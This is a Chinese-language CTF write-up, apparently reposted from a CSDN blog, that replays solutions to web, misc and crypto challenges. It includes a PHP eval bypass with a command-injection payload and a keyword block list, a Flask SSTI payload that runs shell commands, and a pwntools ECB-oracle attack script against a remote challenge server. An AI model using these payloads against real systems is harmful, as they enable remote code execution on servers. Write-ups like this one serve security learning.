记一次比赛复现
作者:互联网
WEB
super_php
<?php
error_reporting(E_NOTICE);
highlight_file(__FILE__);
@session_start();
$username = @$_GET['username'];
if(!@isset($username['admin'])||$username['admin'] != @md5($_SESSION['username']))
{die('error!');}
else{
if(isset($_GET['admin']))
{
$admin = $_GET['admin'];
$admin = addslashes($admin);
if(preg_match('/\{openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|file_put_contents|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^}]+)\}/i' , $admin))
{die('error!');}
if (intval($admin))
{eval('"' .$admin .('"./hint.php"') .')}}";');}
}
else
{eval('$flag="' .$admin . '";');}
}
?>
看一下第一个 if 判断,解读一下就是 username[admin] 存在,并且 username[admin] 等于 md5($_SESSION[‘username’])
一开始以为要伪造 session,毕竟 session 的值是不可以控制的,但是可以换一个思路来,就是让 md5($_SESSION[‘username’]) 的值为空,注意的是 md5 加密的工具是不能加密空的,但是 php 可以
<?
var_dump(md5(""));
?>
php test.php
C:\Users\q2723\Desktop\test.php:2:
string(32) "d41d8cd98f00b204e9800998ecf8427e"
这样就构造出来 payload 的前半部分,后边的就相对简单了,只要构造命令并闭合括号就可以
最终 payload
?username[admin]=d41d8cd98f00b204e9800998ecf8427e&admin=9${`cat%20/f???`};${require(
super_flask
上来就是个登录页面,既然是 flask ssti 那自然是标配了,首先需要找到注入点,使用 burp 抓登录包爆破密码
admin
123456
登录成功,在 /admin 注释找到提示
显然这就是了,简单 fuzz 下发现,两个 {{}} 替换为 {}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LbvEIxej-1632030694529)(https://gitee.com/q_one/oceanpic/raw/master/img2021-/OR83O66FUIVX%S[RX4E7LY.png)]
只要添加一对花括号就行了,flag 在 /tmp 目录下
{{% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /tmp/flag').read()"))%}}
MISC
sdnisc
一张 png 图片,试了 png 常见套路,无果
正确打开方式 Java 盲水印
图形化工具-不是很清楚而且需要调
命令行工具-下载链接
使用命令
java -jar .\BlindWatermark.jar decode -c .\flag.png output.png
比较清楚
CRYPTO
#!/usr/bin/python
# -*- coding:utf-8 -*-
# author:nothing
import string, re, random
import os
from hashlib import sha256
from binascii import unhexlify, hexlify
from pwn import *
from Crypto.Util.number import *
io = remote("101.34.215.5", 6666)
def passpow():
msg = io.recvuntil(b"Give me XXXX:").strip().decode()
bottom = re.findall(r"\+(.*?)\)",msg)[0]
res = re.findall(r" == (.*?)\n",msg)[0]
print(res)
while True:
answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(4))
cipher = sha256((answer + bottom).encode()).hexdigest()
if cipher == res.strip():
print(answer)
io.sendline(answer)
break
def solve_step_4(level, known):
print "Level %s" % str(level)
if(level == 16):
return known
records = []
for i in range(256):
io.recvuntil(b"Give me your choice: ")
io.sendline("1")
io.recvuntil("Give me your input (in hex): ")
tmpstr = ('a'*(15-level) + known + chr(i)).encode('hex')
io.sendline(tmpstr)
io.recvuntil("encrypted msg: ")
s = io.recvuntil("\n")[:-1].decode()[:32]
print "Process: %s/256 %s %s" % (str(i), tmpstr, s)
records.append(s)
io.recvuntil(b"Give me your choice: ")
io.sendline("1")
io.recvuntil("Give me your input (in hex): ")
tmpstr = ('a'*(15-level)).encode('hex')
io.sendline(tmpstr)
io.recvuntil("encrypted msg: ")
s = io.recvuntil("\n")[:-1].decode()[:32]
newknown = known + chr(records.index(s))
print "==========================="
print newknown.encode('hex')
print "==========================="
return solve_step_4(level+1, newknown)
if __name__ == '__main__':
passpow()
secret = solve_step_4(0,"")
io.recvuntil(b"Give me your choice: ")
io.sendline("2")
io.recvuntil("Give me your secret: ")
io.sendline(hexlify(secret))
flag = io.recvuntil("\n")[:-1].decode()
print flag
狗头保命,人菜只能多复现。。。
标签:__,一次,比赛,admin,sendline,复现,io,print,recvuntil 来源: https://blog.csdn.net/q20010619/article/details/120379931